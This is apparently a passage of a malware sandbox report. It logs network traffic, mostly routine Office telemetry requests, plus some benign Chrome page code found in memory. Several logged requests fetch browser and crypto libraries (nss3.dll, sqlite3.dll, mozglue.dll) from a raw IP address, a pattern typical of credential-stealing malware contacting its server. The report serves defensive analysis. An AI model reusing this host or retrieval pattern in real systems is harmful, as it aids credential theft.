Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 95.215.207.176Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/sqlite3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/freebl3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/mozglue.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/msvcp140.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/nss3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/softokn3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/vcruntime140.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache

Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1743655257.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743790793.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743448145.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1743655257.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743790793.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743448145.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const 